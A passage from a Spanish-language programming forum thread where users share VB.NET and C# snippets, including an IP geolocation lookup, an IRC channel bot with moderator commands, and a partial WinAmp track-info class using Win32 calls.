demasiado código, mira: Public Class Form1 Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click TextBox2.Text = StrReverse(TextBox1.Text) End Sub End Class
saludos
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 16:20 pm
GeoLocalizar una IP: #Region " GeoLocation " ' [ GeoLocation ] ' ' // By Elektro H@cker ' ' Examples : ' ' Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate("84.126.113.11") ' Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate("84.126.113.11.dyn.user.ono.com") ' MsgBox(GeoInfo.Country) ' result: Spain ' MsgBox(GeoInfo.City) ' Result: Valencia Public Class GeoLocation Public Class GeoInfo Public Property Latitude() As String Public Property Lognitude() As String Public Property City() As String Public Property State() As String Public Property Country() As String Public Property Host() As String Public Property Ip() As String Public Property Code() As String End Class Public Shared Function Locate(ByVal IP As String) As GeoInfo Try Dim request = TryCast(Net.WebRequest.Create(New Uri("http://www.geoiptool.com/data.php/en/?IP=" & IP)), Net.HttpWebRequest) If request IsNot Nothing Then request.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727)" Dim _geoloc As New GeoInfo Using webResponse = TryCast(request.GetResponse(), Net.HttpWebResponse) If webResponse IsNot Nothing Then Using reader = New IO.StreamReader(webResponse.GetResponseStream()) Dim doc = New Xml.XmlDocument() doc.Load(reader) Dim nodes = doc.GetElementsByTagName("marker") Dim marker = TryCast(nodes(0), Xml.XmlElement) _geoloc.City = marker.GetAttribute("city") _geoloc.Country = marker.GetAttribute("country") _geoloc.Code = marker.GetAttribute("code") _geoloc.Host = marker.GetAttribute("host") _geoloc.Ip = marker.GetAttribute("ip") _geoloc.Latitude = marker.GetAttribute("lat") _geoloc.Lognitude = marker.GetAttribute("lng") Return _geoloc End Using End If End Using End If Return New GeoInfo() Catch ex As Exception Throw New Exception(ex.Message) End Try End Function End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 20 Junio 2013, 17:32 pm
Implementación en C# public class GeoLocation { [XmlRoot("markers")] public class markers { [XmlElement("marker")] public List<GeoIfo> marker { get; set; } } public class GeoIfo { [XmlAttribute("lat")] public string Latitude { get; set; } [XmlAttribute("lng")] public string Longitude { get; set; } [XmlAttribute("city")] public string City { get; set; } [XmlAttribute("country")] public string Country { get; set; } [XmlAttribute("host")] public string Host { get; set; } [XmlAttribute("ip")] public string Ip { get; set; } [XmlAttribute("code")] public string Code { get; set; } } public static GeoIfo Locate(string IP) { WebClient client = new WebClient (); string xml = client.DownloadString(string.Format("{0}{1}", "http://www.geoiptool.com/data.php/en/?IP=", IP)); XmlSerializer serializer = new XmlSerializer (typeof(markers )); markers geoInfo; using (StringReader reader = new StringReader (xml )) { geoInfo = (markers)serializer.Deserialize(reader); } return geoInfo.marker.First(); } }
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 20 Junio 2013, 17:39 pm
Ala, ya si se puede decir que Nov a "ayudado" :P Googleando un poquito he encontrado esto: Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load WebBrowser1.Navigate("http://google.com") End Sub Private Sub WebBrowser1_DocumentCompleted(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted AddHandler WebBrowser1.Document.Click, AddressOf getClickedElement End Sub Private Sub getClickedElement(ByVal sender As Object, ByVal e As HtmlElementEventArgs) With WebBrowser1.Document.GetElementFromPoint(e.ClientMousePosition) Dim selectedHtmlElement_ID As String = .GetAttribute("id").ToLower Dim selectedHtmlElement_NAME As String = .GetAttribute("name").ToLower MsgBox("ID: " & selectedHtmlElement_ID & vbNewLine & " --- Name: " & selectedHtmlElement_NAME) End With End Sub End Class
Básicamente podemos sacar el Name y la Id del elemento clicado a través de un MsgBox. Un saludo. :) Que os parece? :P
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 20 Junio 2013, 19:27 pm
Ala, ya si se puede decir que Nov a "ayudado" :P Es que insisto, muchos códigos si me parecen útiles, pero otros se me hacen demasiado evidentes como para tener que buscarlos en algún sitio, demoro menos codeandolo, ej; " Get_Method", y " Comprueba si un numero es divisible por otro": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1857426#msg1857426 " Download_URL_SourceCode": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1856078#msg1856078 " Elimina un Item de un Array": https://foro.elhacker.net/net/libreria_de_snippets_posteen_aqui_sus_snippets-t378770.0.html;msg1856079#msg1856079 Saludos
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 20:26 pm
Un Bot para IRC. No soy experto en IRC, lo hice basándome en wl webchat de freenode, pero imagino que funcionará en todos los canales de IRC. ...Extender y/o modificar el código como querais, esto solo e sun ejemplo, dejar volar vuestra imaginación: Un ejemplo de uso: Public Class Form1 Dim IRC_Thread_Var As Threading.Thread = New Threading.Thread(AddressOf IRC_Thread) Private Sub Form1_shown(sender As Object, e As EventArgs) Handles MyBase.Shown IRC_Thread_Var = New Threading.Thread(AddressOf IRC_Thread) IRC_Thread_Var.Start() End Sub Sub IRC_Thread() IRC_Bot.Connect("irc.freenode.org", "#ircehn", "ElektroBot") End Sub End Class
...La class del Bot: Public Class IRC_Bot ' Channel Moderators Public Shared Gods As String() = "Elektro Elektro-H Elektro-H_ Drvy kili4n Ikillnukes Caster_ OmarHack OmarHack_ Carloswaldo _0xDani".Split(ChrW(32)).ToArray ' Commands Private Shared Line As String = Nothing Private Shared Name As String = Nothing Private Shared IP As String = Nothing Private Shared Command As String = Nothing Private Shared Argument As String = Nothing ' Bot Status Public Shared Activated As Boolean = True Private Shared Elapsed_Time As New Stopwatch Private Shared Total_Messages As Int64 = 0 ' Connection Private Shared Ident_Listener As Net.Sockets.TcpListener = Nothing Private Shared Ident_Client As Net.Sockets.TcpClient = Nothing Private Shared Ident_NetworkStream As Net.Sockets.NetworkStream = Nothing Private Shared Ident_Reader As IO.StreamReader = Nothing Private Shared Ident_Writer As IO.StreamWriter = Nothing Private Shared Ident_ResponseString As String = Nothing Private Shared TCP_client As Net.Sockets.TcpClient = Nothing ' Main connection to the IRC network. Private Shared Network_Stream As Net.Sockets.NetworkStream = Nothing ' Break TCP connection down to a network stream. Private Shared IRC_Reader As IO.StreamReader = Nothing ' Stream to read messages from the Server. Private Shared IRC_Writer As IO.StreamWriter = Nothing ' Stream to write messages to the server. ' To attach Console (If needed) ' Private Declare Function AllocConsole Lib "kernel32.dll" () As Boolean Public Shared Sub Connect(ByVal Server As String, _ ByVal Channel As String, _ ByVal NickName As String, _ Optional ByVal Port As Int32 = 6667, _ Optional ByVal RealName As String = "ElektroBot", _ Optional ByVal UserName As String = "ElektroHacker") ' AllocConsole() ' Attach Console (If needed) ' Change CMD Window Size Console.SetWindowSize(200, 60) Try ' Create Connection Write("Creating Connection...", ConsoleColor.Yellow) TCP_client = New Net.Sockets.TcpClient(Server, Port) Network_Stream = TCP_client.GetStream IRC_Reader = New IO.StreamReader(Network_Stream) IRC_Writer = New IO.StreamWriter(Network_Stream) If Not IRC_Writer.AutoFlush Then IRC_Writer.AutoFlush = True ' Set name Write("Setting up name...", ConsoleColor.Yellow) IRC_Writer.WriteLine(String.Format("USER {0} {1} * :{2}", UserName, 0, RealName)) ' Set Nickname Write("Setting Nickname...", ConsoleColor.Yellow) IRC_Writer.WriteLine(String.Format("NICK {0}", NickName)) ' Join Room Write("Joining Room...", ConsoleColor.Yellow) IRC_Writer.WriteLine(String.Format("JOIN {0}", Channel)) ' Check Ident connection Write("Checking Ident connection...", ConsoleColor.Yellow) Ident_Listener = New Net.Sockets.TcpListener(Net.IPAddress.Any, 113) Ident_Listener.Start() Ident_Client = Ident_Listener.AcceptTcpClient Ident_Listener.Stop() Ident_NetworkStream = Ident_Client.GetStream Ident_Reader = New IO.StreamReader(Ident_NetworkStream) Ident_ResponseString = Ident_Reader.ReadLine Write("Ident got: " & Ident_ResponseString, ConsoleColor.Cyan) Ident_Writer = New IO.StreamWriter(Ident_NetworkStream) If Not Ident_Writer.AutoFlush Then Ident_Writer.AutoFlush = True Ident_Writer.WriteLine(String.Format("{0} : USERID : WINDOWS 7 : {1}", Ident_ResponseString, UserName)) ' Read messages Write("Reading messages...", ConsoleColor.Yellow) Elapsed_Time.Start() While True ' Sum the total received messages Total_Messages += 1 ' Get the IRC line to read Line = IRC_Reader.ReadLine ' Print the IRC line Write(Line, ConsoleColor.Gray) ' Get User Name Try : Name = Line.Split("!").First.Substring(1, Line.Split("!").First.Length - 1) Catch : Name = Nothing End Try ' Get User IP Try : IP = Line.Split(" ").First.Split("/").Last.Replace("ip.", "") Catch : IP = Nothing End Try ' Get User Command Try : Command = Line.Split(" ")(3).Substring(1, Line.Split(" ")(3).Length - 1).ToLower Catch : Command = Nothing End Try ' Get the command argument Try : Argument = Line.Split(" ")(4) Catch : Argument = Nothing End Try ' IRC Ping-Pong if line.tolower.startswith("ping") then Write("Answering Ping with Pong...", ConsoleColor.Yellow) Write("PONG " & Line, ConsoleColor.Cyan) IRC_Writer.WriteLine("PONG " & Line) end if ' Parse commands Select Case Command ' Help Case "!?", "!ayuda" If Line.ToLower.Contains(Channel.ToLower) Then IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} ", Name, "[+] Comandos públicos:")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!? | !ayuda ", "Muestra esta ayuda.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!reglas ", "Muestra las reglas de la sala.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!reglasehn ", "Muestra las reglas de ElHacker.Net.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!status ", "Muestra el estado del Bot.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!Whois (IP) ", "Muestra información geográfica de una IP.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} ", Name, "[+] Comandos privados:")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!op ", "Te otorga el estado de OP.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!op(+|-) (NOMBRE)", "Otorga o elimina el estado de OP a un usuario.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!bot (ON|OFF) ", "Activa o Desactiva el Bot.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} | {2}", Name, "!q | !quit ", "Desconecta al Bot.")) End If ' Room Rules Case "!reglas" If Line.ToLower.Contains(Channel.ToLower) Then IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "[+] Reglas de " & Channel)) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "1. Respetar a los usuarios y no ofender de ninguna manera.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "2. No preguntar como puedes hackear a personas ajenas.")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "3. No compartir material pornográfico o difundir la pederástia o cosas parecidas.")) End If ' EHN Rules Case "!reglasehn" If Line.ToLower.Contains(Channel.ToLower) Then IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1}", Name, "[+] Reglas de ElHacker.Net: http://foro.elhacker.net/reglas")) End If ' Geo-Locate IP Case "!whois" 'If Line.ToLower.Contains(Channel.ToLower) Then _ 'AndAlso Activated Then 'Dim GeoInfo As GeoLocation.GeoInfo = GeoLocation.Locate(Argument) 'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "[+] Información geográfica de ", Argument)) 'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "País..:", GeoInfo.Country)) 'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Ciudad:", GeoInfo.City)) 'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Código:", GeoInfo.Code)) 'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Host..:", GeoInfo.Host)) 'IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Ip....:", GeoInfo.Ip)) 'GeoInfo = Nothing ' End If ' Give own OP+ Case "!op" If Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) _ AndAlso Activated Then IRC_Writer.WriteLine(String.Format("MODE {0} +o {1}", Channel, Name)) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "se ha convertido en OP.")) ElseIf Not Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) _ AndAlso Activated Then IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para ser OP.")) End If ' Give Op+ to a user Case "!op+" If Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) _ AndAlso Activated Then IRC_Writer.WriteLine("MODE {0} +o {1}", Channel, Argument) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2} {3}", Channel, Name, "concedió OP a", Argument)) ElseIf Not Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) _ AndAlso Activated Then IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para conceder OP.")) End If ' Give Op- to a user Case "!op-" If Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) _ AndAlso Activated Then IRC_Writer.WriteLine("MODE {0} -o {1}", Channel, Argument) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2} {3}", Channel, Name, "denegó OP a", Argument)) ElseIf Not Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) _ AndAlso Activated Then IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios para denegar OP.")) End If ' Bot ON/OFF Case "!bot" If Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) Then Select Case Argument.ToLower Case "on" Activated = True Write("Bot status changed to: Enabled", ConsoleColor.Cyan) Case "off" Activated = False Write("Bot status changed to: Disabled", ConsoleColor.Cyan) End Select ElseIf Not Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) Then IRC_Writer.WriteLine(String.Format("PRIVMSG {0} :{1} {2}", Channel, Name, "no tienes privilegios de OP.")) End If ' Bot Status Case "!status" If Line.ToLower.Contains(Channel.ToLower) Then IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} ", Name, "[+] Status del Bot")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Soy propiedad de......:", "Elektro-H")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Versión de mi sistema.:", "0.2")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Tiempo total online...:", Elapsed_Time.Elapsed.Hours & " H, " & Elapsed_Time.Elapsed.Minutes & " M, " & Elapsed_Time.Elapsed.Seconds & " S")) IRC_Writer.WriteLine(String.Format("PRIVMSG {0} : {1} {2}", Name, "Mensajes procesados...:", Total_Messages)) End If ' Quit Case "!q", "!quit" If Gods.Contains(Name) _ AndAlso Line.ToLower.Contains(Channel.ToLower) _ AndAlso Activated Then IRC_Writer.WriteLine("QUIT") Write("Exiting...", ConsoleColor.Yellow) Exit Sub End If End Select End While Catch ex As Exception Write("Error: " & ex.Message, ConsoleColor.Red) IRC_Writer.WriteLine("QUIT") Finally IRC_Reader.Dispose() IRC_Writer.Dispose() Network_Stream.Dispose() End Try End Sub Private Shared Sub Write(ByVal Text As String, _ Optional ByVal ForeColor As System.ConsoleColor = ConsoleColor.White, _ Optional ByVal BackColor As System.ConsoleColor = ConsoleColor.Black) Dim Current_ForegroundColor As ConsoleColor = Console.ForegroundColor Dim Current_BackgroundColor As ConsoleColor = Console.BackgroundColor Console.ForegroundColor = ForeColor Console.BackgroundColor = BackColor Console.WriteLine(Text & vbNewLine) Console.ForegroundColor = Current_ForegroundColor Console.BackgroundColor = Current_BackgroundColor End Sub End Class
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 20 Junio 2013, 20:45 pm
Muy buen code, y las captchas? :rolleyes:
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 21:38 pm
y las captchas? :rolleyes: El captcha te lo pide la web de freenode, no el protocolo IRC. no es necesario, pruébalo xD...
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 20 Junio 2013, 21:48 pm
Implementación en C# Gracias Nov
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 20 Junio 2013, 22:12 pm
El captcha te lo pide la web de freenode, no el protocolo IRC. no es necesario, pruébalo xD...
Okey, gracias :)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 22 Junio 2013, 20:28 pm
Obtener en WinAmp el título o la ruta del archivo de la canción actual. PD: Son códigos de VB6 que convertí a .NET (no todo...) con algo de ayuda. #Region " WinAmp Info" ' [ WinAmp Info ] ' ' // By Elektro H@cker ' ' Examples: ' MsgBox(WinAmp.Get_Title) ' Result: Artist - Title ' MsgBox(WinAmp.Get_FileName) ' Result: C:\Title.ext Public Class WinAmp Private Const WinampClassName As String = "Winamp v1.x" Private Declare Auto Function FindWindow Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr Private Declare Auto Function GetWindowText Lib "user32" (ByVal hwnd As IntPtr, ByVal lpString As String, ByVal cch As Integer) As Integer Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, ByRef lpdwProcessId As Long) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As
|